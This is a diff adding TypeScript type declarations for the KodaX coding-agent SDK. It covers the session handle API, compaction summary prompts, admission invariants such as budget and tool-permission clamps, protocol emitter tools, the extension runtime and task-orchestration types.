+ *
+ * v0.7.42: `runRunKodaXInternal` is the shared implementation. The
+ * embedder-facing `startKodaX` (non-blocking, returns `RunningSession`)
+ * lives in `./running-session.ts` and wraps the same internal path —
+ * no dual route (per feedback_no_parallel_refactor_paths).
+ */
+
+declare function runKodaX(options: KodaXOptions, prompt: string): Promise<KodaXResult>;
+
+/**
+ * RunningSession — v0.7.42 (closes gap 6 reported by KodaX Space).
+ *
+ * `runKodaX(opts, prompt)` is a blocking `Promise<KodaXResult>` — once
+ * a run is in-flight the SDK consumer cannot observe its session id,
+ * flip provider / model / reasoning mid-run, or abort cooperatively
+ * without forging an external `AbortSignal` and squinting at the
+ * resolved `KodaXResult` after the fact.
+ *
+ * `startKodaX(opts, prompt)` returns a `RunningSession` handle
+ * immediately (the run starts on the next microtask). The handle
+ * exposes:
+ *
+ *   - `id`               — the resolved session id (from
+ *                          `options.session.id` or freshly generated)
+ *   - `currentProvider` / `currentModel` / `currentReasoning`
+ *                          — last value the embedder requested
+ *                          (mirrors what the next turn will see)
+ *   - `setProvider` / `setModel` / `setReasoning`
+ *                          — apply between turns; the next CAP-055
+ *                          re-resolution picks them up
+ *   - `abort(reason?)`    — cooperative abort via internal
+ *                          `AbortController`; honors external
+ *                          `options.abortSignal` too (forwarded)
+ *   - `result`            — `Promise<KodaXResult>` (same shape
+ *                          `runKodaX` returns)
+ *
+ * `runKodaX` is now a thin wrapper over `startKodaX(...).result` so
+ * there is no dual code path (per feedback_no_parallel_refactor_paths).
+ */
+
+interface RunningSession {
+    /** Session id used by the underlying run (echoes options.session.id when supplied). */
+    readonly id: string;
+    /** Last provider value requested via constructor or `setProvider`. */
+    readonly currentProvider: string;
+    /** Last model value requested via constructor or `setModel`. Undefined = provider default. */
+    readonly currentModel: string | undefined;
+    /** Last reasoning mode requested via constructor or `setReasoning`. */
+    readonly currentReasoning: KodaXReasoningMode | undefined;
+    /** Whether `abort` has been called (or the external signal has fired). */
+    readonly aborted: boolean;
+    /** Whether the substrate has wired up the live mutators yet. */
+    readonly attached: boolean;
+    /** Switch provider mid-run. Applies on the next turn. */
+    setProvider(name: string): void;
+    /** Switch model mid-run. Pass undefined to clear an override. */
+    setModel(model: string | undefined): void;
+    /** Switch reasoning mode mid-run. */
+    setReasoning(mode: KodaXReasoningMode | undefined): void;
+    /** Cooperatively abort. The underlying provider stream sees an AbortError. */
+    abort(reason?: unknown): void;
+    /** Resolves to the same shape `runKodaX` returns. */
+    readonly result: Promise<KodaXResult>;
+}
+/**
+ * Public-friendly factory for {@link KodaXSessionControl}. Callers that
+ * want the mid-run mutation surface WITHOUT the `startKodaX` wrapper
+ * (e.g. building their own abort + lifecycle) can instantiate this and
+ * pass it as `KodaXOptions.sessionControl`.
+ */
+declare function createSessionControl(): KodaXSessionControl & KodaXSessionMutators;
+declare function startKodaX(options: KodaXOptions, prompt: string): RunningSession;
+
+/**
+ * v0.7.35.1 FEATURE_142 (B-R1) — Coding-flavored compaction summary prompts.
+ *
+ * These are the verbatim v0.7.35 compaction prompts (byte-identical to
+ * the prior `SUMMARY_PROMPT` / `UPDATE_SUMMARY_PROMPT` constants in
+ * `@kodax-ai/session-lineage/src/compaction/summary-generator.ts`). They
+ * remain the empirically best-performing prompts on the coding domain
+ * (96.7% recall on the 10-fixture eval; see
+ * `tests/compaction-prompt.eval.ts`) AND happen to also be the best on
+ * the non-coding domain (97.0% recall) in the same eval — the wording
+ * is coding-flavored but the structure generalizes.
+ *
+ * Why they live here: per ADR-021, @kodax-ai/session-lineage is the
+ * generic compaction primitive package and must not enumerate
+ * coding-specific language ("coding agent", "file paths, function
+ * names", "HTTP status codes", "## Files & Changes") in its public
+ * prompt strings. Those strings now live in the @kodax-ai/coding layer
+ * and are passed downward via the `summaryPrompt` /
+ * `updateSummaryPrompt` parameters of `compact()` /
+ * `buildCompactionPromptSnapshot()` / `generateSummary()`.
+ *
+ * Coding-flow callers (currently `compaction-orchestration.ts` and
+ * `repl/.../commands.ts`) pass these constants explicitly so the
+ * coding path produces a byte-equivalent prompt to v0.7.35 — preserving
+ * the empirically validated 96.7% recall.
+ *
+ * Generic / non-coding consumers of @kodax-ai/session-lineage get the
+ * neutral `DEFAULT_SUMMARY_PROMPT` / `DEFAULT_UPDATE_SUMMARY_PROMPT`
+ * (the candidate-a-conservative eval winner) by default — they pay a
+ * 2-3pt non-coding recall cost for not knowing they should pass these
+ * coding-flavored prompts, but their architectural surface stays clean.
+ */
+declare const CODING_SUMMARY_PROMPT = "Create a structured summary for the conversation below.\n\nThis summary will be handed to another coding agent so it can continue the same task with minimal context.\nKeep only information that is still useful for continuing the work.\n\nYou may drop:\n- completed low-value micro-steps\n- repetitive thinking\n- stale intermediate plans\n- verbose tool output details\n\nYou must keep:\n- the current goal\n- user constraints and preferences\n- current progress and unfinished work\n- blockers or unresolved questions\n- the most important next steps\n- EXACT file paths, function names, and line numbers referenced\n- EXACT error messages, HTTP status codes, and exception types\n- API endpoints, database tables, env vars, and config values mentioned\n- key decisions WITH reasoning (not just the choice)\n\nCRITICAL: Every user REQUEST and DECISION must be preserved verbatim or near-verbatim.\nNever reduce \"user asked to fix the 401 error on /api/auth/login by switching to JWT\"\nto \"user asked to fix an error\".\n\nKeep the summary concise and high-signal. Do not mechanically preserve every historical detail.\n\nFirst, wrap your analysis in <analysis> tags:\n- Walk through messages chronologically\n- Note exact file paths, function names, error codes, config values\n- Identify user's explicit requests vs inferred intent\n- Flag technical details that MUST survive compression\n\nThen output the structured summary in <summary> tags.\n\nOutput format (strict markdown, inside <summary> tags):\n\n## Goal\n[1-2 sentences describing the active goal]\n\n## Constraints & Preferences\n- [One item per line]\n- [Write \"None\" if there are no explicit constraints]\n\n## Progress\n### Completed\n- [x] [Completed work that still matters for context]\n\n### In Progress\n- [ ] [Current work that is actively underway]\n\n### Blockers\n- [Current blockers, or \"None\"]\n\n## Key Decisions\n- **[Decision]**: [Short reason]\n\n## Next Steps\n1. [Highest-priority next action]\n\n## Key Context\n- [Critical context needed to continue]\n\n## Files & Changes\n- **[exact path]**: [what was done and why]\n\n---\n\n<read-files>\n[One path per line, leave empty if none]\n</read-files>\n\n<modified-files>\n[One path per line, leave empty if none]\n</modified-files>\n\nConversation:\n";
+declare const CODING_UPDATE_SUMMARY_PROMPT = "Merge the new conversation content above into <previous-summary>.\n\nUpdate the structured summary so another coding agent can continue the task immediately.\nKeep only the information needed to continue the work.\n\nYou may remove:\n- repetitive or superseded plans\n- completed low-value steps\n- outdated blockers\n- noisy tool output details\n\nYou must preserve or update:\n- the current goal\n- user constraints and preferences\n- current progress and unfinished work\n- blockers that still matter\n- next steps based on the latest state\n- EXACT file paths, function names, and line numbers\n- EXACT error messages, HTTP status codes, and exception types\n- API endpoints, database tables, env vars, and config values\n- key decisions WITH reasoning\n\nCRITICAL: Every user REQUEST and DECISION must be preserved verbatim or near-verbatim.\n\nDo not accumulate every past detail. Compress aggressively while keeping continuation-critical context.\n\nFirst, wrap your analysis in <analysis> tags, then output the summary in <summary> tags.\n\nOutput format (strict markdown, inside <summary> tags):\n\n## Goal\n[Updated goal]\n\n## Constraints & Preferences\n- [Relevant constraints only]\n\n## Progress\n### Completed\n- [x] [Completed work that still matters]\n\n### In Progress\n- [ ] [Active work in the latest state]\n\n### Blockers\n- [Current blockers, or \"None\"]\n\n## Key Decisions\n- **[Decision]**: [Short reason]\n\n## Next Steps\n1. [Most relevant next action]\n\n## Key Context\n- [Critical context needed to continue]\n\n## Files & Changes\n- **[exact path]**: [what was done and why]\n\n---\n\n<read-files>\n[One path per line, leave empty if none]\n</read-files>\n\n<modified-files>\n[One path per line, leave empty if none]\n</modified-files>\n\nKeep every section concise.";
+
+/**
+ * FEATURE_101 invariant: `boundedRevise`.
+ *
+ * Observe-time check: warns when the per-harness revise count climbs
+ * past the system soft cap. The hard cap is enforced by the budget
+ * controller in `task-engine/_internal/managed-task/budget.ts`; this
+ * invariant adds an admission-trace breadcrumb so dispatch-eval can
+ * track "how often does the LLM hit the revise wall".
+ *
+ * v1 threshold = `MANAGED_TASK_MAX_REFINEMENT_ROUND_CAP + 1 = 3`
+ * (one starter + two refinements). Crossing it doesn't abort the run —
+ * the runtime keeps clamping at the hard cap — but it lights a warn
+ * signal. The threshold is intentionally hardcoded here rather than
+ * imported from `task-engine` constants: that constants module is
+ * private to the task-engine, and admission is a separate concern.
+ * Drift (e.g. the runtime cap changes to 4) means the warn signal
+ * lights one round earlier than the hard cap, which is the desired
+ * direction for a soft signal.
+ *
+ * No admit hook in v1 — and that stays true in v0.7.31.2 even though
+ * the surrounding plumbing now supports it. v0.7.31.2 added
+ * `AgentManifest.maxIterations` (admission.ts) plus the
+ * `applyManifestPatch` apply branch for `clampMaxIterations`, and
+ * `Runner.run` reads the post-clamp manifest cap via
+ * `getAdmittedAgentBindings`. What's still missing is an admit-time
+ * SOURCE: no v1 invariant inspects manifest content and emits a
+ * `clampMaxIterations` patch. So the field exists, the apply path
+ * exists, and the runtime enforcement exists — but `boundedRevise`
+ * itself stays observe-only by design (its v1 contract is the
+ * runtime soft warn, not admit-time clamping). A future version may
+ * promote this invariant to admit+observe once we have a concrete
+ * policy ("manifests declaring revise-heavy roles get clamped to N
+ * iterations"). admission.ts §第一版 Invariant 清单 "boundedRevise:
+ * maxIterations ≤ system; runtime tracks revise count" is satisfied
+ * by the runtime budget controller (the hard cap) plus this
+ * observe-time soft warn.
+ */
+
+declare const boundedRevise: QualityInvariant;
+
+/**
+ * FEATURE_101 invariant: `budgetCeiling`.
+ *
+ * Admit-time check: manifest.maxBudget must not exceed systemCap.maxBudget.
+ * If it does, clamp via a `clampMaxBudget` patch — the manifest is
+ * admitted with the lower value.
+ *
+ * Why this lives in @kodax-ai/coding (not @kodax-ai/core): the system budget
+ * baseline is `DEFAULT_MANAGED_WORK_BUDGET = 200` declared in the coding
+ * task-engine constants. Admission's job is to express the same policy
+ * declaratively at the manifest layer; the actual runtime budget
+ * controller in `task-engine/_internal/managed-task/budget.ts` enforces
+ * iteration deductions per turn. This invariant adds the up-front
+ * "your declared budget is over the cap" feedback to LLM-generated
+ * manifests so they don't request 100k iterations and discover at
+ * runtime that they get 200.
+ *
+ * v1 only handles maxBudget; clampMaxIterations is the `boundedRevise`
+ * invariant's territory (separate-concern). Pure function.
+ */
+
+declare const budgetCeiling: QualityInvariant;
+
+/**
+ * FEATURE_101 invariant: `toolPermission`.
+ *
+ * Admit-time check: every tool the manifest declares must resolve to a
+ * `ToolCapability` tier that systemCap.allowedToolCapabilities permits.
+ * Tools whose tier is not allowed get clamped via `removeTools`.
+ *
+ * Tier mapping mirrors FEATURE_092's auto-mode classifier (v0.7.33) and
+ * FEATURE_094's anti-escape policy (v0.7.36): the same coarse categories
+ * the runtime guardrails reason about. Unknown tools (custom MCP tools,
+ * extensions) default to 'subagent' — the most restrictive bucket — so
+ * deployments that haven't allow-listed `subagent` capability will see
+ * unknown tools clamped, which is the safe default.
+ *
+ * Pure function. The mapping is intentionally a flat switch instead of
+ * a registry lookup: keeps the invariant pure and self-contained, and
+ * the canonical tools list barely changes between releases.
+ */
+
+/**
+ * Resolve a tool name to its capability tier. The mapping reflects the
+ * canonical KodaX tool surface (see `coding/src/tools/registry.ts`).
+ * Unknown names fall through to `'subagent'` — the strictest tier — so
+ * the default behaviour for unaudited tools is to require explicit
+ * allow-list approval.
+ */
+declare function resolveToolCapability(toolName: string): ToolCapability;
+declare const toolPermission: QualityInvariant;
+
+/**
+ * Capability-coupled + coding-AMA-specific invariants registered by
+ * @kodax-ai/coding.
+ *
+ * Pairs with `@kodax-ai/agent`'s pure-new invariants (`finalOwner`,
+ * `handoffLegality`, `evidenceTrail`). Together they form the FEATURE_101
+ * admission v1 closed set + FEATURE_106 external.
+ *
+ * Why this split:
+ *
+ *   - Three pure invariants (finalOwner, handoffLegality, evidenceTrail)
+ *     are pure functions of admission types and live in @kodax-ai/agent.
+ *   - Three coupled invariants (budgetCeiling, toolPermission,
+ *     boundedRevise) tie into @kodax-ai/coding's budget controller /
+ *     tool registry / revise tracker and live here.
+ *     (FEATURE_184 Phase C.1: `independentReview` deleted — superseded by
+ *     Sidecar Verifier.)
+ *   - `harnessSelectionTiming` (FEATURE_106 external) reads coding's AMA
+ *     `ctx.recorder.scout.payload.scout.confirmedHarness` and lives here
+ *     too (v0.7.35.1 FEATURE_142 A-R2 moved it from @kodax-ai/agent per
+ *     ADR-021 — agent admission framework must not enumerate coding-AMA
+ *     field names).
+ *
+ * `registerCodingInvariants()` is the canonical bootstrap entry point
+ * — call it once at SDK startup (or in test setup paired with
+ * `_resetInvariantRegistry()`). The function also calls
+ * `registerCoreInvariants()` so a single call wires the full v1 set +
+ * harnessSelectionTiming.
+ */
+
+/**
+ * Coding-package-supplied invariants in registration order.
+ * v0.7.35.1 FEATURE_142 (A-R2): added `harnessSelectionTiming` (moved
+ * from @kodax-ai/agent's pure-invariant set).
+ *
+ * v0.7.36 FEATURE_114: added `planBeforeMutate` — V2 plan-first
+ * structural observation. Registers alongside `harnessSelectionTiming`
+ * (not as a replacement); the two coexist because V1 runs gate on the
+ * Scout-emitted harness verdict while V2 runs gate on Worker
+ * `todo_update`. Each predicate no-ops when its expected fields are
+ * absent, so ship-side flag toggle (KODAX_HARNESS_V2) does not need a
+ * separate registry.
+ */
+declare const CODING_INVARIANTS: readonly QualityInvariant[];
+/**
+ * Register the @kodax-ai/coding capability-coupled + coding-AMA-specific
+ * invariants AND the @kodax-ai/agent pure-new invariants. Single bootstrap
+ * call covers the FEATURE_101 admission v1 closed set + FEATURE_106's
+ * external `harnessSelectionTiming`.
+ *
+ * Order matters: agent first (so the closed-set ids appear in
+ * registration order before the coding additions), then coding.
+ * Tests that need a specific subset should `_resetInvariantRegistry()`
+ * and register only what they need.
+ */
+declare function registerCodingInvariants(): void;
+
+/**
+ * KodaX Client
+ *
+ * 高级模式 - 提供面向对象的 Agent 客户端
+ */
+
+declare class KodaXClient {
+    private options;
+    private sessionId;
+    private messages;
+    private contextTokenSnapshot;
+    constructor(options: KodaXOptions);
+    send(prompt: string): Promise<KodaXResult>;
+    getSessionId(): string;
+    getMessages(): KodaXMessage[];
+    clear(): void;
+}
+
+declare function createFanoutSchedulerInput(controllerDecision: KodaXAmaControllerDecision, bundles: KodaXChildContextBundle[], reductionContract: KodaXParentReductionContract): KodaXFanoutSchedulerInput | undefined;
+declare function buildFanoutSchedulerPlan(input: KodaXFanoutSchedulerInput): KodaXFanoutSchedulerPlan;
+declare function getFanoutBranch(plan: KodaXFanoutSchedulerPlan, bundleId: string): KodaXFanoutBranchRecord;
+declare function countActiveFanoutBranches(plan: KodaXFanoutSchedulerPlan): number;
+declare function applyFanoutBranchTransition(plan: KodaXFanoutSchedulerPlan, transition: KodaXFanoutBranchTransition): KodaXFanoutSchedulerPlan;
+declare function assignFanoutBranchWorker(plan: KodaXFanoutSchedulerPlan, bundleId: string, workerId: string): KodaXFanoutSchedulerPlan;
+declare function markFanoutBranchCompleted(plan: KodaXFanoutSchedulerPlan, bundleId: string, childId?: string): KodaXFanoutSchedulerPlan;
+declare function markFanoutBranchCancelled(plan: KodaXFanoutSchedulerPlan, bundleId: string, reason: string): KodaXFanoutSchedulerPlan;
+
+/**
+ * Protocol emitter tools — FEATURE_084 Shard 2 (v0.7.26).
+ *
+ * Four role-specific `RunnableTool`s that replace the fenced-block text
+ * protocol used by Scout / Planner / Generator / Evaluator today. Each tool
+ * accepts a structured JSON payload, normalizes it via
+ * `coerceManagedProtocolToolPayload` (the same normalizer the old fenced-block
+ * parser uses), and surfaces the normalized payload on the tool result
+ * `metadata.payload` field so the new Runner-driven task engine
+ * (FEATURE_084 Shard 5) can make routing decisions without text parsing.
+ *
+ * **Data-only at this shard**: nothing consumes these tools yet. The SA
+ * preset path and the existing managed-task engine continue to use the
+ * legacy `emit_managed_protocol` tool + fenced-block fallback unchanged.
+ *
+ * **Payload parity contract**: a given JSON input MUST produce an identical
+ * normalized payload to what the legacy fenced-block parser would produce
+ * for the same JSON. This is enforced by sharing
+ * `coerceManagedProtocolToolPayload` between both paths.
+ */
+
+/** Public tool name — LLM sees this on the tool list. */
+declare const EMIT_SCOUT_VERDICT_TOOL_NAME = "emit_scout_verdict";
+declare const EMIT_CONTRACT_TOOL_NAME = "emit_contract";
+declare const EMIT_HANDOFF_TOOL_NAME = "emit_handoff";
+declare const EMIT_VERDICT_TOOL_NAME = "emit_verdict";
+/**
+ * Shared metadata shape on the tool result. The Runner-driven task engine
+ * (Shard 5) inspects `payload` to understand verdicts and
+ * `handoffTarget` to execute the next role transition.
+ */
+interface ProtocolEmitterMetadata {
+    /** The role that emitted this payload — always matches the tool's role. */
+    readonly role: 'scout' | 'planner' | 'generator' | 'evaluator';
+    /** Normalized payload slice (scout / contract / handoff / verdict). */
+    readonly payload: Partial<KodaXManagedProtocolPayload>;
+    /**
+     * FEATURE_084 Shard 4 handoff signal. When set, the Runner looks up the
+     * handoff in `currentAgent.handoffs` and transfers ownership. When
+     * undefined, the current agent remains responsible (terminal / direct
+     * case). See each emitter's body for the payload → target mapping.
+     */
+    readonly handoffTarget?: string;
+    /**
+     * True when the payload denotes a terminal outcome (H0 direct, accept,
+     * blocked). The Runner uses this as a signal that no further LLM turn is
+     * expected after the current one.
+     */
+    readonly isTerminal?: boolean;
+}
+/**
+ * Scout verdict emitter. Reports the outcome of scope analysis and the
+ * chosen harness tier. The Runner-driven task engine reads
+ * `metadata.payload.scout.confirmedHarness` to decide whether to hand off
+ * to Generator (H1) or Planner (H2), or to finish directly (H0).
+ */
+declare const emitScoutVerdict: RunnableTool;
+/**
+ * Planner contract emitter (H2 only). Produces the execution contract the
+ * Generator consumes: success criteria, required evidence, constraints.
+ */
+declare const emitContract: RunnableTool;
+/**
+ * Generator handoff emitter. Signals that the Generator has finished its
+ * execution round and hands off to the Evaluator for verification.
+ */
+declare const emitHandoff: RunnableTool;
+/**
+ * Evaluator verdict emitter. Decides the terminal outcome of the round:
+ * accept, revise (retry with same harness), or blocked. The Runner-driven
+ * engine reads `metadata.payload.verdict.status` to decide next hop.
+ */
+declare const emitVerdict: RunnableTool;
+/** All four emitter tools, exposed as a tuple for iteration. */
+declare const PROTOCOL_EMITTER_TOOLS: readonly RunnableTool[];
+
+declare function runManagedTask(options: KodaXOptions, prompt: string): Promise<KodaXResult>;
+
+interface RuntimeDefaultsSnapshot {
+    activeTools?: string[];
+    modelSelection: ExtensionModelSelection;
+    thinkingLevel?: KodaXReasoningMode;
+}
+interface BoundExtensionRuntimeController {
+    queueUserMessage(message: string | KodaXMessage): void;
+    getSessionState<T = KodaXJsonValue>(extensionId: string, key: string): T | undefined;
+    setSessionState(extensionId: string, key: string, value: KodaXJsonValue | undefined): void;
+    getSessionStateSnapshot(extensionId: string): Record<string, KodaXJsonValue>;
+    appendSessionRecord(extensionId: string, type: string, data?: KodaXJsonValue, options?: {
+        dedupeKey?: string;
+    }): KodaXExtensionSessionRecord;
+    listSessionRecords(extensionId: string, type?: string): KodaXExtensionSessionRecord[];
+    clearSessionRecords(extensionId: string, type?: string): number;
+    getActiveTools(): string[];
+    setActiveTools(toolNames: string[]): void;
+    getModelSelection(): ExtensionModelSelection;
+    setModelSelection(next: ExtensionModelSelection): void;
+    getThinkingLevel(): KodaXReasoningMode | undefined;
+    setThinkingLevel(level: KodaXReasoningMode): void;
+}
+interface ExtensionLoadOptions {
+    continueOnError?: boolean;
+    loadSource?: ExtensionLoadSource;
+    stage?: Extract<ExtensionFailureStage, 'load' | 'reload'>;
+}
+
+declare class KodaXExtensionRuntime implements ExtensionRuntimeContract {
+    private readonly capabilityProviders;
+    private readonly commands;
+    private readonly eventHandlers;
+    private readonly hookHandlers;
+    private readonly loadedExtensions;
+    private readonly failures;
+    private readonly runtimeDisposables;
+    private readonly runtimeLogger;
+    private readonly config;
+    private readonly runtimeController;
+    private nextRecordId;
+    private boundController;
+    private defaultActiveTools;
+    private defaultModelSelection;
+    private defaultThinkingLevel;
+    constructor(options?: {
+        config?: Readonly<Record<string, unknown>>;
+    });
+    activate(): this;
+    getDefaults(): RuntimeDefaultsSnapshot;
+    bindController(controller: BoundExtensionRuntimeController): () => void;
+    dispose(): Promise<void>;
+    loadExtensions(paths: string[], options?: ExtensionLoadOptions): Promise<void>;
+    loadExtension(extensionPath: string, options?: ExtensionLoadOptions): Promise<void>;
+    reloadExtensions(options?: Pick<ExtensionLoadOptions, 'continueOnError'>): Promise<void>;
+    listCapabilityProviders(): CapabilityProvider[];
+    registerCapabilityProvider(provider: CapabilityProvider, options?: {
+        source?: ExtensionContributionSource;
+    }): () => void;
+    registerTool(definition: LocalToolDefinition, options?: ToolRegistrationOptions): () => void;
+    registerHook<THook extends keyof ExtensionHookMap>(hook: THook, handler: ExtensionHookMap[THook], options?: {
+        source?: ExtensionContributionSource;
+    }): () => void;
+    on<TEvent extends keyof ExtensionEventMap>(event: TEvent, handler: (payload: ExtensionEventMap[TEvent]) => Promise<void> | void, options?: {
+        source?: ExtensionContributionSource;
+    }): () => void;
+    listCommands(): ExtensionCommandDefinition[];
+    getCommand(name: string): ExtensionCommandDefinition | undefined;
+    getDiagnostics(): ExtensionRuntimeDiagnostics;
+    getCapabilityProvider(providerId: string): CapabilityProvider | undefined;
+    searchCapabilities(providerId: string, query: string, options?: {
+        kind?: CapabilityProvider['kinds'][number];
+        limit?: number;
+        server?: string;
+    }): Promise<unknown[]>;
+    describeCapability(providerId: string, capabilityId: string): Promise<unknown>;
+    executeCapability(providerId: string, capabilityId: string, input: Record<string, unknown>): Promise<CapabilityResult>;
+    readCapability(providerId: string, capabilityId: string, options?: Record<string, unknown>): Promise<CapabilityResult>;
+    getCapabilityPrompt(providerId: string, capabilityId: string, args?: Record<string, unknown>): Promise<unknown>;
+    getCapabilityPromptContext(providerId: string): Promise<string | undefined>;
+    refreshCapabilityProviders(providerId?: string): Promise<void>;
+    hydrateSession(sessionId: string): Promise<void>;
+    emit<TEvent extends keyof ExtensionEventMap>(event: TEvent, payload: ExtensionEventMap[TEvent]): Promise<void>;
+    runHook<THook extends keyof ExtensionHookMap>(hook: THook, payload: Parameters<ExtensionHookMap[THook]>[0]): Promise<Awaited<ReturnType<ExtensionHookMap[THook]>> | undefined>;
+    private createExtensionSource;
+    private createRuntimeSource;
+    private recordFailure;
+    private createExtensionApi;
+    private createLogger;
+    private createRuntimeControllerProxy;
+    private createExtensionApiRuntimeController;
+    private registerRecord;
+    private registerEventHandler;
+    private registerHookHandler;
+    private unloadExtension;
+    private importExtensionModule;
+}
+declare function createExtensionRuntime(options?: {
+    config?: Readonly<Record<string, unknown>>;
+}): KodaXExtensionRuntime;
+declare function setActiveExtensionRuntime(runtime: KodaXExtensionRuntime | null): void;
+declare function getActiveExtensionRuntime(): KodaXExtensionRuntime | null;
+
+/**
+ * Coding-runtime adapter: registers an `McpCapabilityProvider` (from
+ * `@kodax-ai/mcp`) against the coding-specific `KodaXExtensionRuntime`.
+ *
+ * FEATURE_082 (v0.7.24): split out of the old
+ * `capabilities/providers/mcp/provider.ts`. The provider class now lives in
+ * `@kodax-ai/mcp` and stays free of any coding runtime dependency; this file
+ * is the thin bridge that wires the provider into the coding extension
+ * runtime.
+ */
+
+declare function registerConfiguredMcpCapabilityProvider(runtime: KodaXExtensionRuntime, servers: McpServersConfig | undefined, options?: McpProviderOptions): Promise<McpCapabilityProvider | undefined>;
+
+type OfficialSandboxMode = 'enforced' | 'best_effort';
+interface OfficialSandboxOptions {
+    workspaceRoot: string;
+    mode?: OfficialSandboxMode;
+}
+declare function registerOfficialSandboxExtension(runtime: KodaXExtensionRuntime, options: OfficialSandboxOptions): () => void;
+
+type OrchestrationTaskExecution = 'serial' | 'parallel';
+type OrchestrationTaskStatus = 'completed' | 'failed' | 'blocked';
+interface OrchestrationTaskBudget {
+    maxIter?: number;
+    reasoningMode?: KodaXReasoningMode;
+    thinking?: boolean;
+}
+interface OrchestrationArtifact {
+    kind: 'json' | 'text' | 'markdown';
+    path: string;
+    description?: string;
+}
+interface OrchestrationWorkerSpec<TInput = unknown> {
+    id: string;
+    title: string;
+    input?: TInput;
+    dependsOn?: string[];
+    execution?: OrchestrationTaskExecution;
+    timeoutMs?: number;
+    budget?: OrchestrationTaskBudget;
+    agent?: string;
+    metadata?: Record<string, unknown>;
+    beforeToolExecute?: KodaXEvents['beforeToolExecute'];
+}
+interface OrchestrationWorkerResult<TOutput = unknown> {
+    success: boolean;
+    output?: TOutput;
+    summary?: string;
+    error?: string;
+    metadata?: Record<string, unknown>;
+    artifacts?: OrchestrationArtifact[];
+}
+interface OrchestrationCompletedTask<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
+    id: string;
+    title: string;
+    task: TTask;
+    status: OrchestrationTaskStatus;
+    taskDir: string;
+    startedAt: string;
+    completedAt: string;
+    durationMs: number;
+    result: OrchestrationWorkerResult<TOutput>;
+}
+interface OrchestrationTaskContext<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
+    runId: string;
+    workspaceDir: string;
+    taskDir: string;
+    dependencyResults: Record<string, OrchestrationCompletedTask<TTask, TOutput>>;
+    emit: (message: string) => Promise<void>;
+    signal?: AbortSignal;
+}
+type OrchestrationWorkerRunner<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> = (task: TTask, context: OrchestrationTaskContext<TTask, TOutput>) => Promise<OrchestrationWorkerResult<TOutput>>;
+/**
+ * Trace event emitted by `runOrchestration` while stepping through a task DAG
+ * (run/task start/message/complete/failed/blocked). Persisted as JSONL via
+ * `appendTrace` to `{workspaceDir}/orchestration-trace.jsonl`.
+ *
+ * @deprecated FEATURE_083 (v0.7.24) originally superseded this by
+ * `AgentSpan` / `HandoffSpan` in `@kodax-ai/tracing`. **FEATURE_086 (v0.7.27)
+ * evaluated removal and kept it**: AgentSpan is scoped to a single Runner
+ * lifecycle, whereas OrchestrationTraceEvent spans across Tasks scheduled
+ * by `runOrchestration` — no cross-task span equivalent exists yet, and
+ * `runOrchestration` + this type are part of the `@kodax-ai/coding` public
+ * surface. The `@deprecated` tag is kept as a signal that new code
+ * targeting in-Runner tracing should prefer `@kodax-ai/tracing` spans;
+ * cross-task orchestration code is free to continue using this event.
+ */
+interface OrchestrationTraceEvent {
+    type: 'run_started' | 'task_started' | 'task_message' | 'task_completed' | 'task_failed' | 'task_blocked' | 'run_completed';
+    timestamp: string;
+    runId: string;
+    taskId?: string;
+    message?: string;
+    status?: OrchestrationTaskStatus;
+    metadata?: Record<string, unknown>;
+}
+interface OrchestrationRunEvents<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
+    onRunStart?: (info: {
+        runId: string;
+        workspaceDir: string;
+        taskCount: number;
+    }) => void | Promise<void>;
+    onTaskStart?: (task: TTask) => void | Promise<void>;
+    onTaskMessage?: (task: TTask, message: string) => void | Promise<void>;
+    onTaskComplete?: (task: TTask, completed: OrchestrationCompletedTask<TTask, TOutput>) => void | Promise<void>;
+    onRunComplete?: (result: OrchestrationRunResult<TTask, TOutput>) => void | Promise<void>;
+}
+interface OrchestrationRunOptions<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
+    tasks: TTask[];
+    workspaceDir: string;
+    runner: OrchestrationWorkerRunner<TTask, TOutput>;
+    runId?: string;
+    maxParallel?: number;
+    signal?: AbortSignal;
+    events?: OrchestrationRunEvents<TTask, TOutput>;
+}
+interface OrchestrationRunResult<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
+    runId: string;
+    workspaceDir: string;
+    tasks: Array<OrchestrationCompletedTask<TTask, TOutput>>;
+    taskResults: Record<string, OrchestrationCompletedTask<TTask, TOutput>>;
+    summary: {
+        total: number;
+        completed: number;
+        failed: number;
+        blocked: number;
+    };
+}
+interface KodaXAgentWorkerSpec extends OrchestrationWorkerSpec<string> {
+    prompt: string;
+    provider?: string;
+    model?: string;
+}
+interface CreateKodaXTaskRunnerOptions<TTask extends KodaXAgentWorkerSpec = KodaXAgentWorkerSpec> {
+    baseOptions: KodaXOptions;
+    runAgent?: (options: KodaXOptions, prompt: string) => Promise<KodaXResult>;
+    rateLimit?: <T>(operation: () => Promise<T>) => Promise<T>;
+    buildPrompt?: (task: TTask, context: OrchestrationTaskContext<TTask, string>) => string;
+    createEvents?: (task: TTask, context: OrchestrationTaskContext<TTask, string>) => KodaXEvents;
+    createOptions?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, defaultOptions: KodaXOptions) => KodaXOptions;
+    onResult?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, result: KodaXResult) => KodaXResult | void | Promise<KodaXResult | void>;
+    runTask?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, preparedOptions: KodaXOptions, prompt: string, executeDefault: () => Promise<KodaXResult>) => Promise<KodaXResult>;
+}
+declare function runOrchestration<TTask extends OrchestrationWorkerSpec, TOutput = unknown>(options: OrchestrationRunOptions<TTask, TOutput>): Promise<OrchestrationRunResult<TTask, TOutput>>;
+declare function createKodaXTaskRunner<TTask extends KodaXAgentWorkerSpec = KodaXAgentWorkerSpec>(options: CreateKodaXTaskRunnerOptions<TTask>): OrchestrationWorkerRunner<TTask, string>;
+
+/**
+ * KodaX Parallel Task Dispatch
+ *
+ * Enables Scout to dispatch independent subtasks in parallel via runOrchestration.
+ * This is the minimal viable slice of #92 (Team Agent).
+ */
+interface ParallelSubtask {
+    readonly id: string;
+    readonly description: string;
+    readonly prompt: string;
+}
+interface ParallelDispatchDirective {
+    readonly type: 'parallel_dispatch';
+    readonly subtasks: readonly ParallelSubtask[];
